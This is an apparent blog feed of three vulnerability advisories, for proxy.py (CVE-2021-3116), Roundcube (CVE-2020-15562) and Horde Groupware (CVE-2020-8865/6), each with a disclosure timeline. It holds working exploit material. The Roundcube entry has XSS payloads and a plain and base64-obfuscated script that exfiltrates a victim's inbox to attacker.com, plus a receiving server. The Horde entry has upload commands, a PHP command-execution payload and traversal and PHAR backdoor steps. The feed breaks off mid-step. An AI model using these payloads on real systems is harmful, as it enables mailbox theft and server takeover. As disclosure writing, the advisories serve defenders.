Jekyll2023-10-05T20:28:53+00:00https://cardaci.xyz/feed.xmlAndrea CardaciPersonal websiteAndrea Cardacicyrus.and@gmail.com[CVE-2021-3116] proxy.py 2.3.0 — Broken basic authentication2021-01-10T00:00:00+00:002021-01-10T00:00:00+00:00https://cardaci.xyz/advisories/2021/01/10/proxy.py-2.3.0-broken-basic-authentication<h2 id="abstract">Abstract</h2>
<p><a href="https://github.com/abhinavsingh/proxy.py">proxy.py</a> is a feature-rich HTTP proxy server written in Python. Among the other things it allows to spawn a proxy server that enforces <a href="https://en.wikipedia.org/wiki/Basic_access_authentication">HTTP basic access authentication</a>.</p>
<p>A recent <a href="https://github.com/abhinavsingh/proxy.py/commit/a48319e32d3c60cb919ef70706b3a3750406f837">refactoring</a> introduced a logic bug that allows to bypass the proxy authentication.</p>
<h2 id="details">Details</h2>
<p>The vulnerable code is located in <a href="https://github.com/abhinavsingh/proxy.py/blob/f04845cd645e642b92a40ea5650fd805f4f9ad04/proxy/http/proxy/auth.py#L31-L41">proxy/http/proxy/auth.py</a>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">before_upstream_connection</span><span class="p">(</span>
<span class="bp">self</span><span class="p">,</span> <span class="n">request</span><span class="p">:</span> <span class="n">HttpParser</span><span class="p">)</span> <span class="o">-></span> <span class="n">Optional</span><span class="p">[</span><span class="n">HttpParser</span><span class="p">]:</span>
<span class="k">if</span> <span class="bp">self</span><span class="p">.</span><span class="n">flags</span><span class="p">.</span><span class="n">auth_code</span><span class="p">:</span>
<span class="k">if</span> <span class="sa">b</span><span class="s">'proxy-authorization'</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">request</span><span class="p">.</span><span class="n">headers</span><span class="p">:</span>
<span class="k">raise</span> <span class="n">ProxyAuthenticationFailed</span><span class="p">()</span>
<span class="n">parts</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="sa">b</span><span class="s">'proxy-authorization'</span><span class="p">][</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">()</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">parts</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">2</span> \
<span class="ow">and</span> <span class="n">parts</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">lower</span><span class="p">()</span> <span class="o">!=</span> <span class="sa">b</span><span class="s">'basic'</span> \
<span class="ow">and</span> <span class="n">parts</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">!=</span> <span class="bp">self</span><span class="p">.</span><span class="n">flags</span><span class="p">.</span><span class="n">auth_code</span><span class="p">:</span>
<span class="k">raise</span> <span class="n">ProxyAuthenticationFailed</span><span class="p">()</span>
<span class="k">return</span> <span class="n">request</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">and</code> operators are wrong here, and it is enough to set one of its operands to <code class="language-plaintext highlighter-rouge">False</code> to skip the challenge and bypass the authentication. A valid <code class="language-plaintext highlighter-rouge">Proxy-Authorization</code> header (e.g., for <code class="language-plaintext highlighter-rouge">user:password</code>) is in the form:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Proxy-Authorization: Basic dXNlcjpwYXNzd29yZA==
</code></pre></div></div>
<p>So <code class="language-plaintext highlighter-rouge">len(parts)</code> is <code class="language-plaintext highlighter-rouge">2</code>, thus any valid header with any credentials works.</p>
<h2 id="proof-of-concept">Proof of concept</h2>
<p>Start <code class="language-plaintext highlighter-rouge">proxy.py</code> like:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>proxy <span class="nt">--basic-auth</span> user:password
<span class="go">2021-01-10 19:25:31,183 - pid:73304 [I] load_plugins:334 - Loaded plugin proxy.http.proxy.AuthPlugin
2021-01-10 19:25:31,184 - pid:73304 [I] load_plugins:334 - Loaded plugin proxy.http.proxy.HttpProxyPlugin
2021-01-10 19:25:31,184 - pid:73304 [I] listen:113 - Listening on ::1:8899
2021-01-10 19:25:31,215 - pid:73304 [I] start_workers:136 - Started 8 workers
</span></code></pre></div></div>
<p>Trying to use the proxy without credentials correctly yields a proxy authentication error:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>curl <span class="nt">-I</span> <span class="nt">-x</span> localhost:8899 http://example.com
<span class="go">HTTP/1.1 407 Proxy Authentication Required
Proxy-agent: proxy.py v2.3.0
Proxy-Authenticate: Basic
Connection: close
Content-Length: 29
</span></code></pre></div></div>
<p>But specifying any credentials (e.g., <code class="language-plaintext highlighter-rouge">x:x</code>) allows the request to go through:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>curl <span class="nt">-I</span> <span class="nt">-x</span> x:x@localhost:8899 http://example.com
<span class="go">HTTP/1.1 200 OK
Content-Encoding: gzip
Accept-Ranges: bytes
Age: 276321
Cache-Control: max-age=604800
</span><span class="gp">Content-Type: text/html;</span><span class="w"> </span><span class="nv">charset</span><span class="o">=</span>UTF-8
<span class="go">Date: Sun, 10 Jan 2021 18:31:28 GMT
Etag: "3147526947"
Expires: Sun, 17 Jan 2021 18:31:28 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (bsa/EB23)
X-Cache: HIT
Content-Length: 648
</span></code></pre></div></div>
<h2 id="timeline">Timeline</h2>
<dl>
<dt>2021-01-09</dt>
<dd>Disclosed privately to the developers as suggested in their <a href="https://github.com/abhinavsingh/proxy.py/blob/develop/SECURITY.md">SECURITY.md</a>.</dd>
<dt>2021-01-10</dt>
<dd>The developers implement the <a href="https://github.com/abhinavsingh/proxy.py/pull/482/commits/9b00093288237f5073c403f2c4f62acfdfa8ed46">fix</a> and release version 2.3.1</dd>
<dt>2021-01-11</dt>
<dd>MITRE assigns <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3116">CVE-2021-3116</a> to this vulnerability.</dd>
</dl>Andrea Cardacicyrus.and@gmail.comAbstract[CVE-2020-15562] Roundcube 1.3.9 — Stored XSS in received emails2020-07-21T00:00:00+00:002020-07-21T00:00:00+00:00https://cardaci.xyz/advisories/2020/07/21/roundcube-1.3.9-stored-xss-in-received-emails<h2 id="abstract">Abstract</h2>
<p>The Roundcube webmail application displays HTML messages after a sanitization process that leaves only some nodes and attributes. An input sanitization vulnerability that can be exploited to perform stored cross-site scripting (XSS) attacks has been discovered in how Roundcube handles SVG namespaces.</p>
<p>A remote attacker can send a specially crafted email containing malicious HTML and execute arbitrary JavaScript code in the context of the vulnerable web application when the user displays the message. This allows to impersonate the victims and access the webmail features on their behalf.</p>
<h2 id="details">Details</h2>
<p>Roundcube uses a custom version of Washtml (a HTML sanitizer) to display untrusted HTML in email messages. One of the modifications adds the SVG support<sup id="fnref:svg-support" role="doc-noteref"><a href="#fn:svg-support" class="footnote" rel="footnote">1</a></sup>, in particular, an exception has been added in <code class="language-plaintext highlighter-rouge">rcube_washtml.php</code> for the <code class="language-plaintext highlighter-rouge">svg</code> tag to properly handle XML namespaces (<code class="language-plaintext highlighter-rouge">dumpHtml</code> function):</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="nv">$tagName</span> <span class="o">==</span> <span class="s1">'svg'</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$xpath</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DOMXPath</span><span class="p">(</span><span class="nv">$node</span><span class="o">-></span><span class="n">ownerDocument</span><span class="p">);</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$xpath</span><span class="o">-></span><span class="nf">query</span><span class="p">(</span><span class="s1">'namespace::*'</span><span class="p">)</span> <span class="k">as</span> <span class="nv">$ns</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$ns</span><span class="o">-></span><span class="n">nodeName</span> <span class="o">!=</span> <span class="s1">'xmlns:xml'</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$dump</span> <span class="mf">.</span><span class="o">=</span> <span class="s1">' '</span> <span class="mf">.</span> <span class="nv">$ns</span><span class="o">-></span><span class="n">nodeName</span> <span class="mf">.</span> <span class="s1">'="'</span> <span class="mf">.</span> <span class="nv">$ns</span><span class="o">-></span><span class="n">nodeValue</span> <span class="mf">.</span> <span class="s1">'"'</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This snippet uses an XPath query to list and add all the non-default XML namespaces of the root element of the HTML message to the <code class="language-plaintext highlighter-rouge">svg</code> tag as attributes. The vulnerable part here is that <code class="language-plaintext highlighter-rouge">$ns->nodeName</code> and <code class="language-plaintext highlighter-rouge">$ns->nodeValue</code> values are added to <code class="language-plaintext highlighter-rouge">$dump</code> without proper sanitization (e.g., <code class="language-plaintext highlighter-rouge">htmlspecialchars</code>).</p>
<h3 id="exploit">Exploit</h3>
<p>There are a number of things to consider in order to manage to successfully inject arbitrary HTML code.</p>
<p>First, if the HTML message lacks the <code class="language-plaintext highlighter-rouge">head</code> tag (or alternatively a <code class="language-plaintext highlighter-rouge">meta</code> specifying the charset, in newer releases) then Roundcube appends a default preamble to the message; this is undesirable as the goal is to control the root element. (Also note that the <code class="language-plaintext highlighter-rouge">svg</code> tag itself cannot be the root element.)</p>
<p>Second, when at least one <code class="language-plaintext highlighter-rouge">svg</code> tag is present (and the <code class="language-plaintext highlighter-rouge"><html</code> string is not) the message is parsed using <code class="language-plaintext highlighter-rouge">DOMDocument::loadXML</code><sup id="fnref:dom-node" role="doc-noteref"><a href="#fn:dom-node" class="footnote" rel="footnote">2</a></sup> and that requires a valid XML document.</p>
<p>Finally, by taking into account that <code class="language-plaintext highlighter-rouge">DOMDocument::loadXML</code> decodes any HTML entity during the parsing, it is possible to use <code class="language-plaintext highlighter-rouge">&quot;</code> to escape the hard coded double quotes in the above snippet and <code class="language-plaintext highlighter-rouge">&lt;</code>/<code class="language-plaintext highlighter-rouge">&gt;</code> to escape the <code class="language-plaintext highlighter-rouge">svg</code> element altogether.</p>
<p>Since the namespaces are added to the <code class="language-plaintext highlighter-rouge">svg</code> tag, a simple way to exploit this vulnerability is to use the <code class="language-plaintext highlighter-rouge">onload</code> event:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><head</span> <span class="na">xmlns=</span><span class="s">"&quot; onload=&quot;alert(document.domain)"</span><span class="nt">><svg></svg></head></span>
</code></pre></div></div>
<p>The resulting HTML is:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><svg</span> <span class="na">xmlns=</span><span class="s">""</span> <span class="na">onload=</span><span class="s">"alert(document.domain)"</span> <span class="nt">/></span>
</code></pre></div></div>
<p>It is likewise possible to escape the <code class="language-plaintext highlighter-rouge">svg</code> tag entirely and inject a <code class="language-plaintext highlighter-rouge">script</code> tag:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><head</span> <span class="na">xmlns=</span><span class="s">"&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;"</span><span class="nt">><svg></svg></head></span>
</code></pre></div></div>
<p>The resulting HTML is:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><svg</span> <span class="na">xmlns=</span><span class="s">""</span><span class="nt">><script></span><span class="nx">alert</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">domain</span><span class="p">)</span><span class="nt"></script></span>" />
</code></pre></div></div>
<h2 id="poc-exfiltrate-the-whole-inbox">PoC: exfiltrate the whole inbox</h2>
<p>Possibly one of the most effective ways to demonstrate the impact of this vulnerability is to exploit the <code class="language-plaintext highlighter-rouge">zipdownload</code> plugin (enabled by default) to fetch the whole inbox<sup id="fnref:uid" role="doc-noteref"><a href="#fn:uid" class="footnote" rel="footnote">3</a></sup> as a zipped MBOX file then upload it to a web server controlled by the attacker via a POST request:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="k">async</span> <span class="p">()</span> <span class="o">=></span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">uploadEndpoint</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">http://attacker.com:8080/upload.php</span><span class="dl">'</span><span class="p">;</span>
<span class="c1">// download the whole inbox as a zip file</span>
<span class="kd">const</span> <span class="nx">response</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">?_task=mail&_action=plugin.zipdownload.messages</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
<span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
<span class="na">credentials</span><span class="p">:</span> <span class="dl">'</span><span class="s1">include</span><span class="dl">'</span><span class="p">,</span>
<span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
<span class="dl">'</span><span class="s1">content-type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">application/x-www-form-urlencoded</span><span class="dl">'</span>
<span class="p">},</span>
<span class="na">body</span><span class="p">:</span> <span class="s2">`_mbox=INBOX&_uid=*&_mode=mbox&_token=</span><span class="p">${</span><span class="nx">rcmail</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">request_token</span><span class="p">}</span><span class="s2">`</span>
<span class="p">});</span>
<span class="c1">// prepare the upload form</span>
<span class="kd">const</span> <span class="nx">formData</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">FormData</span><span class="p">();</span>
<span class="kd">const</span> <span class="nx">inboxZip</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">response</span><span class="p">.</span><span class="nx">blob</span><span class="p">();</span>
<span class="nx">formData</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">inbox</span><span class="dl">'</span><span class="p">,</span> <span class="nx">inboxZip</span><span class="p">,</span> <span class="dl">'</span><span class="s1">INBOX.mbox.zip</span><span class="dl">'</span><span class="p">);</span>
<span class="c1">// send the zip file to the attacker</span>
<span class="k">return</span> <span class="nx">fetch</span><span class="p">(</span><span class="nx">uploadEndpoint</span><span class="p">,</span> <span class="p">{</span>
<span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
<span class="na">mode</span><span class="p">:</span> <span class="dl">'</span><span class="s1">no-cors</span><span class="dl">'</span><span class="p">,</span>
<span class="na">body</span><span class="p">:</span> <span class="nx">formData</span>
<span class="p">});</span>
<span class="p">})();</span>
</code></pre></div></div>
<p>To avoid using HTML entities for <code class="language-plaintext highlighter-rouge">&</code> it is possible to encode everything with Base64. The final payload becomes:</p>
<!-- C-u M-| terser | base64 -w0 -->
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><head</span> <span class="na">xmlns=</span><span class="s">"&quot; onload=&quot;eval(atob('KGFzeW5jKCk9Pntjb25zdCB1cGxvYWRFbmRwb2ludD0iaHR0cDovL2F0dGFja2VyLmNvbTo4MDgwL3VwbG9hZC5waHAiO2NvbnN0IHJlc3BvbnNlPWF3YWl0IGZldGNoKCI/X3Rhc2s9bWFpbCZfYWN0aW9uPXBsdWdpbi56aXBkb3dubG9hZC5tZXNzYWdlcyIse21ldGhvZDoiUE9TVCIsY3JlZGVudGlhbHM6ImluY2x1ZGUiLGhlYWRlcnM6eyJjb250ZW50LXR5cGUiOiJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQifSxib2R5OmBfbWJveD1JTkJPWCZfdWlkPSomX21vZGU9bWJveCZfdG9rZW49JHtyY21haWwuZW52LnJlcXVlc3RfdG9rZW59YH0pO2NvbnN0IGZvcm1EYXRhPW5ldyBGb3JtRGF0YTtjb25zdCBpbmJveFppcD1hd2FpdCByZXNwb25zZS5ibG9iKCk7Zm9ybURhdGEuYXBwZW5kKCJpbmJveCIsaW5ib3haaXAsIklOQk9YLm1ib3guemlwIik7cmV0dXJuIGZldGNoKHVwbG9hZEVuZHBvaW50LHttZXRob2Q6IlBPU1QiLG1vZGU6Im5vLWNvcnMiLGJvZHk6Zm9ybURhdGF9KX0pKCk7Cg=='))"</span><span class="nt">><svg></svg></head></span>
</code></pre></div></div>
<p>The POST request can be easily received by the built-in PHP web server, for example create an <code class="language-plaintext highlighter-rouge">upload.php</code> file with:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="nv">$file</span> <span class="o">=</span> <span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'inbox'</span><span class="p">];</span>
<span class="nb">move_uploaded_file</span><span class="p">(</span><span class="nv">$file</span><span class="p">[</span><span class="s1">'tmp_name'</span><span class="p">],</span> <span class="nv">$file</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]);</span>
</code></pre></div></div>
<p>Then start the server with:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>php <span class="nt">-S</span> 0.0.0.0:8080
</code></pre></div></div>
<p>If the XSS successfully triggers then a <code class="language-plaintext highlighter-rouge">INBOX.mbox.zip</code> file is created in the current directory.</p>
<h2 id="tune-the-message-appearance">Tune the message appearance</h2>
<p>As said before the whole email message must be a valid XML document. If needed, additional content must be placed before the <code class="language-plaintext highlighter-rouge">svg</code> tag which can also be hidden, for example:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><head</span> <span class="na">xmlns=</span><span class="s">"&quot; onload=&quot;alert(document.domain)"</span><span class="nt">></span>
Hello victim!
<span class="nt"><svg</span> <span class="na">style=</span><span class="s">"display:none"</span><span class="nt">></svg></span>
<span class="nt"></head></span>
</code></pre></div></div>
<h2 id="timeline">Timeline</h2>
<dl>
<dt>2019-05-01</dt>
<dd>First contact with SecuriTeam Secure Disclosure (SSD).</dd>
<dt>2019-06-05</dt>
<dd>Disclosure via the SSD program.</dd>
<dt>2019-06-25</dt>
<dd>SSD grants the reward.</dd>
<dt>2020-07-05</dt>
<dd>The vendor <a href="https://roundcube.net/news/2020/07/05/security-updates-1.4.7-1.3.14-and-1.2.11">fixes</a> the issue in version 1.4.7.</dd>
<dt>2020-07-21</dt>
<dd>SSD publishes the <a href="https://ssd-disclosure.com/ssd-advisory-roundcube-incoming-emails-stored-xss/">advisory</a>.</dd>
</dl>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:svg-support" role="doc-endnote">
<p>Introduced in commit <a href="https://github.com/roundcube/roundcubemail/commit/a1fdb205f824dee7fd42dda739f207abc85ce158">a1fdb205f824dee7fd42dda739f207abc85ce158</a>. <a href="#fnref:svg-support" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:dom-node" role="doc-endnote">
<p>In the above snippet <code class="language-plaintext highlighter-rouge">$node</code> is an instance of <code class="language-plaintext highlighter-rouge">DOMNode</code>. <a href="#fnref:dom-node" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:uid" role="doc-endnote">
<p>The <code class="language-plaintext highlighter-rouge">_uid</code> POST field can also be an array thus allowing to exfiltrate the inbox in chunks. <a href="#fnref:uid" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>Andrea Cardacicyrus.and@gmail.comAbstract[CVE-2020-8865/6] Horde Groupware Webmail Edition 5.2.22 — Multiple vulnerabilities promote file upload in temp folder to RCE2020-03-11T00:00:00+00:002020-03-11T00:00:00+00:00https://cardaci.xyz/advisories/2020/03/11/horde-groupware-webmail-edition-5.2.22-multiple-vulnerabilities-promote-file-upload-in-temp-folder-to-rce<h2 id="abstract">Abstract</h2>
<p>The <a href="https://github.com/horde/Form/commit/f5fc41e9d3f1a7bc9371dda5d39ea7629b0030f3">fix</a> for <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9858">CVE-2019-9858</a> (arbitrary file upload vulnerability) in the <a href="https://github.com/horde/Form">Form</a> component simply restricts the target directory to the temp folder. This, in combination with other vulnerabilities, allows an authenticated regular user to execute PHP code as the user that runs the web server, usually <code class="language-plaintext highlighter-rouge">www-data</code>.</p>
<p>Since this vulnerability does not concern IMP (the Horde webmail application) it is likely that also regular Horde Groupware (non-webmail edition) installations are affected.</p>
<h2 id="details">Details</h2>
<p>The fix (introduced in version 2.0.19) merely uses <code class="language-plaintext highlighter-rouge">basename</code> to discard any leading directory components:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$tmp_file</span> <span class="o">=</span> <span class="nc">Horde</span><span class="o">::</span><span class="nf">getTempDir</span><span class="p">()</span> <span class="mf">.</span> <span class="s1">'/'</span> <span class="mf">.</span> <span class="nb">basename</span><span class="p">(</span><span class="nv">$upload</span><span class="p">[</span><span class="s1">'img'</span><span class="p">][</span><span class="s1">'file'</span><span class="p">]);</span>
<span class="c1">// ...</span>
<span class="nb">move_uploaded_file</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="n">_img</span><span class="p">[</span><span class="s1">'img'</span><span class="p">][</span><span class="s1">'file'</span><span class="p">],</span> <span class="nv">$tmp_file</span><span class="p">);</span>
</code></pre></div></div>
<p>This means that arbitrary files (name, extension and content) can be uploaded to the temp (e.g., <code class="language-plaintext highlighter-rouge">/tmp</code>) directory. This enables (at least) two RCE vulnerabilities:</p>
<ul>
<li>
<p>by uploading a <code class="language-plaintext highlighter-rouge">.inc</code> file it is possible to exploit a directory traversal vulnerability present in the <a href="https://github.com/horde/trean">Trean</a> application and issue a PHP <code class="language-plaintext highlighter-rouge">require</code> against the uploaded file;</p>
</li>
<li>
<p>by uploading a <code class="language-plaintext highlighter-rouge">.phar</code><sup id="fnref:phar-extension" role="doc-noteref"><a href="#fn:phar-extension" class="footnote" rel="footnote">1</a></sup> file it is possible to exploit the lack of check on the URL scheme present in the <a href="https://github.com/horde/Http">Http</a> library to call <code class="language-plaintext highlighter-rouge">fopen</code> with the <code class="language-plaintext highlighter-rouge">phar://</code> scheme and load the specially crafted PHAR file that in turn exploits the destructor of the <code class="language-plaintext highlighter-rouge">Horde_Auth_Passwd</code> class to invoke a PHP <code class="language-plaintext highlighter-rouge">rename</code> with controlled arguments thus lifting the above <code class="language-plaintext highlighter-rouge">basename</code> restriction introduced by the fix and allowing, for example, to plant a PHP backdoor.</p>
</li>
</ul>
<p>Exploiting all this manually can be hard and cumbersome, in the “Exploits” section several scripts are provided to automatize all the needed steps. Follows a detailed description of the single phases of this attack.</p>
<h3 id="file-upload">File upload</h3>
<p>Arbitrary file upload in the temp folder can be achieved like follows:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>curl http://target.com/turba/add.php <span class="se">\</span>
<span class="nt">-F</span> <span class="s1">'object[photo][img][file]=file.ext'</span> <span class="se">\</span>
<span class="nt">-F</span> <span class="s1">'object[photo][new]=@/path/to/some/file'</span> <span class="se">\</span>
<span class="nt">-b</span> <span class="s1">'Horde=COOKIE_HERE'</span> <span class="se">\</span>
<span class="nt">-A</span> <span class="s1">'USER_AGENT_HERE'</span>
</code></pre></div></div>
<p>This places the content of the local file <code class="language-plaintext highlighter-rouge">/path/to/some/file'</code> to <code class="language-plaintext highlighter-rouge">/tmp/file.ext</code>.</p>
<p>Note that Horde checks that the user agent is the same as the request that performed the login.</p>
<h3 id="php-file-inclusion">PHP file inclusion</h3>
<p>The Trean application provides two<sup id="fnref:three-blocks" role="doc-noteref"><a href="#fn:three-blocks" class="footnote" rel="footnote">2</a></sup> blocks (widgets, that users can place in their home screen): <code class="language-plaintext highlighter-rouge">lib/Block/Bookmarks.php</code> and <code class="language-plaintext highlighter-rouge">lib/Block/Mostclicked.php</code>. They use a template file to render the bookmarks:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$template</span> <span class="o">=</span> <span class="no">TREAN_TEMPLATES</span> <span class="mf">.</span> <span class="s1">'/block/'</span> <span class="mf">.</span> <span class="nv">$this</span><span class="o">-></span><span class="n">_params</span><span class="p">[</span><span class="s1">'template'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'.inc'</span><span class="p">;</span>
<span class="c1">// ...</span>
<span class="k">require</span> <span class="nv">$template</span><span class="p">;</span>
</code></pre></div></div>
<p>Since <code class="language-plaintext highlighter-rouge">$this->_params['template']</code> is controlled by the user (by setting the block preferences), directory traversal can be used to include an arbitrary file in <code class="language-plaintext highlighter-rouge">/tmp</code>.</p>
<p>The manual steps to achieve the above are:</p>
<ol>
<li>
<p>upload a <code class="language-plaintext highlighter-rouge">/tmp/exploit.inc</code> file as previously discussed, for example:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span> <span class="nb">passthru</span><span class="p">(</span><span class="s2">"id"</span><span class="p">);</span> <span class="k">die</span><span class="p">();</span>
</code></pre></div> </div>
</li>
<li>
<p>make sure to have at least one bookmark (from the top menu click “Others” -> “Bookmarks”, then “New Bookmark”);</p>
</li>
<li>
<p>from the home page click the “Add Content” button;</p>
</li>
<li>
<p>select either “Bookmarks: Bookmarks” or “Bookmarks: Most-clicked Bookmarks” and click “Add”;</p>
</li>
<li>
<p>edit field labeled by “Template” to target the uploaded file, i.e., <code class="language-plaintext highlighter-rouge">../../../../../../../../../../../tmp/exploit</code> and click “Save”<sup id="fnref:manual" role="doc-noteref"><a href="#fn:manual" class="footnote" rel="footnote">3</a></sup>;</p>
</li>
<li>
<p>navigate back to the home to trigger the vulnerability.</p>
</li>
</ol>
<h3 id="phar-loading">PHAR loading</h3>
<p>The Http library uses <code class="language-plaintext highlighter-rouge">fopen</code> to fetch the remote page and due to lack of checks on the URL, arbitrary schemes can be used. In particular, by using the <code class="language-plaintext highlighter-rouge">phar://</code> scheme to load a specially crafted PHAR file it is possible to attempt to implement a well-known PHP unserialization technique<sup id="fnref:phar-unserialization" role="doc-noteref"><a href="#fn:phar-unserialization" class="footnote" rel="footnote">4</a></sup>.</p>
<p>In order for this to work there must exist PHP classes that do something <em>exploitable</em> in their <code class="language-plaintext highlighter-rouge">__destruct</code> or <code class="language-plaintext highlighter-rouge">__wakeup</code> methods. The <code class="language-plaintext highlighter-rouge">Horde_Auth_Passwd</code> (located in the <code class="language-plaintext highlighter-rouge">lib/Horde/Auth/Passwd.php</code> file of the <a href="https://github.com/horde/Auth"><code class="language-plaintext highlighter-rouge">Auth</code></a> repository) seems a good candidate:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="n">__destruct</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="n">_locked</span><span class="p">)</span> <span class="p">{</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="n">_users</span> <span class="k">as</span> <span class="nv">$user</span> <span class="o">=></span> <span class="nv">$pass</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$data</span> <span class="o">=</span> <span class="nv">$user</span> <span class="mf">.</span> <span class="s1">':'</span> <span class="mf">.</span> <span class="nv">$pass</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="n">_users</span><span class="p">[</span><span class="nv">$user</span><span class="p">])</span> <span class="p">{</span>
<span class="nv">$data</span> <span class="mf">.</span><span class="o">=</span> <span class="s1">':'</span> <span class="mf">.</span> <span class="nv">$this</span><span class="o">-></span><span class="n">_users</span><span class="p">[</span><span class="nv">$user</span><span class="p">];</span>
<span class="p">}</span>
<span class="nb">fputs</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="n">_fplock</span><span class="p">,</span> <span class="nv">$data</span> <span class="mf">.</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="nb">rename</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="n">_lockfile</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-></span><span class="n">_params</span><span class="p">[</span><span class="s1">'filename'</span><span class="p">]);</span>
<span class="nb">flock</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="n">_fplock</span><span class="p">,</span> <span class="no">LOCK_UN</span><span class="p">);</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">_locked</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
<span class="nb">fclose</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="n">_fplock</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The above <code class="language-plaintext highlighter-rouge">rename</code> can be called with arbitrary parameters since they both depends on <code class="language-plaintext highlighter-rouge">$this</code>, the only requirement is that <code class="language-plaintext highlighter-rouge">$this->_locked</code> is set to a <em>truthy</em> value.</p>
<p>This can be used to eventually write arbitrary files anywhere in the filesystem, provided that <code class="language-plaintext highlighter-rouge">www-data</code> has the permission to do so. For example, in a typical Horde installation the <code class="language-plaintext highlighter-rouge">static</code> folder in the WWW root is usually writable by <code class="language-plaintext highlighter-rouge">www-data</code> so it is a good place to plant a PHP backdoor.</p>
<p>The Http library is used in several contexts, e.g., to fetch a bookmarked page in order to obtain the favicon, to load an external RSS feed, etc.</p>
<p>To use the latter, the manual steps are:</p>
<ol>
<li>
